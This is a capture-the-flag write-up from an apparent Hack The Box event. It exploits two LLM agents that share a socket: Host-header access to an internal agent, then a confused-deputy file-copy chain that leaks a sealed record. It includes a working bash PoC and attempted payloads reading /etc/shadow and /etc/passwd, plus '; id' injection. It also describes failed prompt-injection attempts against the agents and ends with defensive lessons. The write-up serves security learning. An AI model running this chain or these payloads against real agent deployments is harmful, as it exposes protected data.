Crownspire Petitions

Crownspire Petitions — Cyber Apocalypse 2026

| | |

|---|---|

| Platform | Hack The Box — Cyber Apocalypse CTF 2026 ("The Salt Crown") |

| Category | AI / ML |

| Difficulty | Medium (975 pts) |

| Key techniques | A2A agent-card enumeration, vhost-routed access control bypass, confused deputy across two agents, write-primitive → read-primitive chain |

| Date | 25 July 2026 |

> Cyber Apocalypse 2026 has concluded — flag included below.

---

TL;DR

Two LLM agents share one HTTP socket, separated only by the Host header. The public Docket Agent can read petition records; the internal Casework Agent can copy a sealed case to a filesystem path. Neither can do both — but the destination allow-list includes the very directory Docket reads from. Archiving the sealed case into the petition store under a valid petition reference makes Docket serve it as a normal petition, flag included.

Root cause: broken access control (authorization enforced in the web UI, not at the agents) plus a confused deputy between two agents that trust each other's namespace.

---

Recon

The challenge gives a Subject Number (SN-2140-6698) and one host:port. A2A agents are self-describing, so the first move is the agent card rather than the chat interface.

$ curl -si -H 'Host: docket.crownspire-petitions.htb' \
    http://TARGET/.well-known/agent.json | head -3
HTTP/1.1 404 Not Found

agent.json is the older spec path. The current one works:

$ curl -s -H 'Host: docket.crownspire-petitions.htb' \
    http://TARGET/.well-known/agent-card.json | jq
{
  "name": "Docket Agent",
  "skills": [ { "id": "petitions", ... } ],
  "securitySchemes": {},
  "securityRequirements": []
}

One skill: file a petition, look up a petition by id. JSON-RPC 1.0, POST to /, plain text in and out, and no auth requirements.

Reading the seeded petitions is the cheapest source of intel. PET-1000 leaks a second Subject Number in its body:

- Title: QA onboarding — intake smoke test (do not action)
- Body:  [...] My onboarding Subject Number is SN-7731-0425 (QA role).

Signing in to the portal with that SN reveals a second agent in the developer docs — dev-a1f4c39b.crownspire-petitions.htb, described as the internal warden pipeline.

Foothold — the internal agent needs no credentials

The eight hex characters in the hostname look like a secret. They aren't a control. The same socket serves the internal agent to anyone who asks for it by name:

$ curl -s -H 'Host: dev-a1f4c39b.crownspire-petitions.htb' \
    http://TARGET/.well-known/agent-card.json | jq '.name, .securitySchemes'
"Casework Agent"
{}

securitySchemes: {} on an agent whose own description says "for authorized wardens". The portal's /api/session resolves an SN to a role and decides which agent links to render — that is UI gating, not access control. Pointing a client at the vhost directly skips it entirely:

you> list all cases

1. CASE-SEAL0001   SEALED    SEALED — Attainder Roll
2. CASE-PET7F3A1   PENDING   Grain levy remission — Ashfen ward
3. CASE-PET2C9D4   PENDING   Right-of-way dispute — Irongate causeway

The target is visible. Its contents are not — list_cases returns only id, status and label.

The chain — write with one agent, read with the other

Mapping the two tool sets side by side is what makes the path obvious:

| Agent | Can do | Cannot do |

|---|---|---|

| Docket | read a petition body by reference | see cases |

| Casework | list cases, approve, reject, archive to a path | read case contents |

Casework describes archive as a file copy, and rejecting a bad destination makes it enumerate its own allow-list:

you> Archive case CASE-SEAL0001 to /etc/shadow

agent> The destination path is not permitted. You can archive the case to one of
       the following locations: the petitions store, /var/drop, /tmp, or the
       cases archive.

The petitions store is on that list — the directory the other agent reads from. An archive primitive whose allow-list includes the reader's own storage is the whole vulnerability.

The remaining question was the filename format. Docket's lookup turned out to be filesystem-flavoured: passing it a path made it reply about the basename only (/var/drop/seal2.txt → "no petition found for reference seal2.txt"). So the reference maps to a filename in the store, with no extension appended. Two variants work — extensionless, or reference-with-extension:

Archive to /opt/petitions/PET-2000        → Look up petition PET-2000        ✅
Archive to /opt/petitions/PET-2001.json   → Look up petition PET-2001.json   ✅
Archive to /opt/petitions/PET-2002.txt    → Look up petition PET-2002        ❌

Result:

you> Look up petition PET-2000

agent> Here are the details for petition PET-2000:
- ID:     CASE-SEAL0001
- Title:  SEALED — Attainder Roll (Bureau of Petitions, House Vaultrune)
- Body:   By order of House Vaultrune: The seizure of the riverside granaries is
          to be recorded as a 'temporary quarantine.' [...] HTB{w3lc0m3_t0_a2a_pr0t0c0l_t4g_t34m_pwn4g3}
- Status: SEALED

Docket serves the sealed case as an ordinary petition because, as far as it is concerned, a file with that reference exists in its store.

PoC

#!/usr/bin/env bash
# Crownspire Petitions — sealed record disclosure
# usage: ./poc.sh 10.0.0.1:31337
set -euo pipefail
IP="$1"
DOCKET="docket.crownspire-petitions.htb"
CASEWORK="dev-a1f4c39b.crownspire-petitions.htb"
CASE="CASE-SEAL0001"
REF="PET-2000"

say() {  # $1 = vhost, $2 = message
  jq -n --arg t "$2" '{jsonrpc:"2.0",id:1,method:"message/send",
    params:{message:{role:"user",messageId:"poc",
    parts:[{kind:"text",text:$t}]}}}' \
  | curl -s -X POST "http://$IP/" \
      -H "Host: $1" -H 'Content-Type: application/json' -d @- \
  | jq -r '.result.parts[]?.text'
}

echo "[*] no credentials used — internal agent is reachable by Host header alone"
say "$CASEWORK" "List all cases."
sleep 6   # server enforces 1 AI request / 5s

echo "[*] copying sealed case into the petition store as $REF"
say "$CASEWORK" "Archive case $CASE to /opt/petitions/$REF"
sleep 6

echo "[*] reading it back through the public agent"
say "$DOCKET" "Look up petition $REF" | tee /dev/stderr | grep -o 'HTB{[^}]*}'

Dead ends (and what they ruled out)

Worth recording, because each one narrowed the surface:

• Prompt injection, both channels. A payload in a petition body survives storage if you tell the agent to store it "exactly as written" (otherwise the model paraphrases it away), and a payload in the title propagates into Casework's case list. Both models recite injected instructions as inert text and never act on them. The petition text reaching a privileged agent's context looked like the intended path; it wasn't.
• Status manipulation. approve / reject change state and, per the agent, move the case file — but never publish a body, and never affect the matching petition.
• Path traversal. Both parameters are validated after normalization: /tmp/../etc/x and CASE-SEAL0001/../../../etc/passwd are both rejected. CASE-SEAL0001/../CASE-SEAL0001 resolves and succeeds, which is the tell that paths are canonicalized before the check.
• Command injection. Metacharacters never reach a shell — the LLM extracts a single path argument out of prose, so ; id is simply dropped as a separate request.
• SQLi on the lookup key, low/high reference enumeration, protocol methods (tasks/list absent, tasks/get present but no task ids are ever minted, streaming unsupported), forged role: "agent" messages, and serving the written files over HTTP — all negative.

The lesson from the dead ends: because the box is in the AI/ML category it is tempting to spend every request on the models. The models were the only part that was solid. The bug was in the plumbing around them.

Lessons & defenses

• Authorize at the resource, not in the renderer. /api/session decided which agents to display. The agents themselves accepted anyone. Every agent needs to verify the caller's standing on every call.
• An unguessable hostname is not a credential. dev-a1f4c39b is security by obscurity; it survives exactly until it appears in a page, a bundle, or someone's notes.
• Never allow a write primitive to target another component's trusted storage. The destination allow-list validated traversal carefully and then permitted the one directory that mattered. Allow-list the paths a component owns, and nothing else.
• Treat data crossing agent boundaries as untrusted. Ids minted by one agent were accepted verbatim as filenames by another. Re-validate at each hop, and namespace records so a case can never be mistaken for a petition.
• Sensitive records need enforcement, not a status label. SEALED was metadata. The body sat in a file that any component with a copy primitive could relocate.

Tools used

• curl — agent-card discovery and all JSON-RPC traffic
• jq — building request payloads and parsing responses
• ~20-line Python A2A client — interactive chat with contextId continuity, one instance per vhost
• Termux (Android) for the early session, WSL for the rest